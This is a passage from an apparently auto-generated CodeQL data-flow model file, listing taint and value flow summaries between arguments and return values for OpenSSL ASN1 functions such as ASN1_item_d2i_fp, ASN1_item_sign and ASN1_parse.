"ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[*2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[**2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[**2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[**2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_digest", "(const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *)", "", "Argument[*0]", "Argument[2]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_digest", "(const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_dup", "(const ASN1_ITEM *,const void *)", "", "Argument[*0]", "Argument[1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_dup", "(const ASN1_ITEM *,const void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_dup", "(const ASN1_ITEM *,const void *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_dup", "(const ASN1_ITEM *,const void *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_dup", "(const ASN1_ITEM *,const void *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_dup", "(const ASN1_ITEM *,const void *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_dup", "(const ASN1_ITEM *,const void *)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_dup", "(const ASN1_ITEM *,const void *)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_ex_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *)", "", "Argument[4]", "Argument[**0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ASN1_item_ex_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *)", "", "Argument[4]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ASN1_item_ex_free", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_free", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_free", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_ex_free", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_ex_free", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_free", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[**0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[**1]", "Argument[**0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[**1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[3]", "Argument[**0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[3]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[3]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_item_ex_new", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_new", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_new", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_ex_new", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_ex_new", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_new", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_free", "(ASN1_VALUE *,const ASN1_ITEM *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_free", "(ASN1_VALUE *,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_free", "(ASN1_VALUE *,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_free", "(ASN1_VALUE *,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_i2d", "(const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_item_i2d", "(const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_i2d", "(const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_i2d", "(const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_i2d_bio", "(const ASN1_ITEM *,BIO *,const void *)", "", "Argument[*0]", "Argument[2]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_i2d_bio", "(const ASN1_ITEM *,BIO *,const void *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_i2d_fp", "(const ASN1_ITEM *,FILE *,const void *)", "", "Argument[*0]", "Argument[2]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_i2d_fp", "(const ASN1_ITEM *,FILE *,const void *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_i2d_mem_bio", "(const ASN1_ITEM *,const ASN1_VALUE *)", "", "Argument[*0]", "Argument[1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_i2d_mem_bio", "(const ASN1_ITEM *,const ASN1_VALUE *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ndef_i2d", "(const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_item_ndef_i2d", "(const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ndef_i2d", "(const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ndef_i2d", "(const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_new", "(const ASN1_ITEM *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_new", "(const ASN1_ITEM *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_new_ex", "(const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_new_ex", "(const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_pack", "(void *,const ASN1_ITEM *,ASN1_OCTET_STRING **,ASN1_STRING **)", "", "Argument[**2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_pack", "(void *,const ASN1_ITEM *,ASN1_OCTET_STRING **,ASN1_STRING **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_pack", "(void *,const ASN1_ITEM *,ASN1_OCTET_STRING **,ASN1_STRING **)", "", "Argument[*2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_item_pack", "(void *,const ASN1_ITEM *,ASN1_OCTET_STRING **,ASN1_STRING **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_item_pack", "(void *,const ASN1_ITEM *,ASN1_OCTET_STRING **,ASN1_STRING **)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_item_print", "(BIO *,const ASN1_VALUE *,int,const ASN1_ITEM *,const ASN1_PCTX *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_print", "(BIO *,const ASN1_VALUE *,int,const ASN1_ITEM *,const ASN1_PCTX *)", "", "Argument[*3].Field[**templates].Field[*offset]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_item_print", "(BIO *,const ASN1_VALUE *,int,const ASN1_ITEM *,const ASN1_PCTX *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "ASN1_item_print", "(BIO *,const ASN1_VALUE *,int,const ASN1_ITEM *,const ASN1_PCTX *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*0]", "Argument[4]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_sign", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*3]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_sign", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*4]", "Argument[4]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *)", "", "Argument[2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign_ctx", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign_ctx", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign_ctx", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *)", "", "Argument[*4]", "Argument[4]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign_ctx", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign_ctx", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *)", "", "Argument[2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign_ctx", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_item_sign_ex", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[4]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_sign_ex", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign_ex", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign_ex", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_sign_ex", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "Argument[4]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign_ex", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign_ex", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_unpack", "(const ASN1_STRING *,const ASN1_ITEM *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_unpack", "(const ASN1_STRING *,const ASN1_ITEM *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_unpack", "(const ASN1_STRING *,const ASN1_ITEM *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_unpack", "(const ASN1_STRING *,const ASN1_ITEM *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_unpack_ex", "(const ASN1_STRING *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_unpack_ex", "(const ASN1_STRING *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_unpack_ex", "(const ASN1_STRING *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_unpack_ex", "(const ASN1_STRING *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_verify", "(const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_PKEY *)", "", "Argument[*0]", "Argument[3]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_verify", "(const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_PKEY *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "ASN1_item_verify_ctx", "(const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_MD_CTX *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "ASN1_item_verify_ctx", "(const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_MD_CTX *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_item_verify_ex", "(const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[3]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_verify_ex", "(const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "ASN1_mbstring_copy", "(ASN1_STRING **,const unsigned char *,int,int,unsigned long)", "", "Argument[*1]", "Argument[**0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_mbstring_copy", "(ASN1_STRING **,const unsigned char *,int,int,unsigned long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_mbstring_copy", "(ASN1_STRING **,const unsigned char *,int,int,unsigned long)", "", "Argument[1]", "Argument[**0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_mbstring_copy", "(ASN1_STRING **,const unsigned char *,int,int,unsigned long)", "", "Argument[2]", "Argument[**0].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ASN1_mbstring_ncopy", "(ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long)", "", "Argument[*1]", "Argument[**0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_mbstring_ncopy", "(ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_mbstring_ncopy", "(ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long)", "", "Argument[1]", "Argument[**0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_mbstring_ncopy", "(ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long)", "", "Argument[2]", "Argument[**0].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ASN1_object_size", "(int,int,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_parse", "(BIO *,const unsigned char *,long,int)", "", "Argument[*1]", "Argument[1]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_parse", "(BIO *,const unsigned char *,long,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "ASN1_parse", "(BIO *,const unsigned char *,long,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_parse_dump", "(BIO *,const unsigned char *,long,int,int)", "", "Argument[*1]", "Argument[1]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_parse_dump", "(BIO *,const unsigned char *,long,int,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "ASN1_parse_dump", "(BIO *,const unsigned char *,long,int,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_put_eoc", "(unsigned char **)", "", "Argument[*0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_put_eoc", "(unsigned char **)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_put_eoc", "(unsigned char **)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_put_object", "(unsigned char **,int,int,int,int)", "", "Argument[*0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_put_object", "(unsigned char **,int,int,int,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_put_object", "(unsigned char **,int,int,int,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_put_object", "(unsigned char **,int,int,int,int)", "", "Argument[2]", "Argument[**0]", "value", "dfc-generated"] + - ["", "", True, "ASN1_put_object", "(unsigned char **,int,int,int,int)", "", "Argument[3]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_put_object", "(unsigned char **,int,int,int,int)", "", "Argument[4]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_sign", "(i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ASN1_sign", "(i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASN1_sign", "(i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*5]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ASN1_sign", "(i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*5]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_sign", "(i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*6]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASN1_sign", "(i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *)", "", 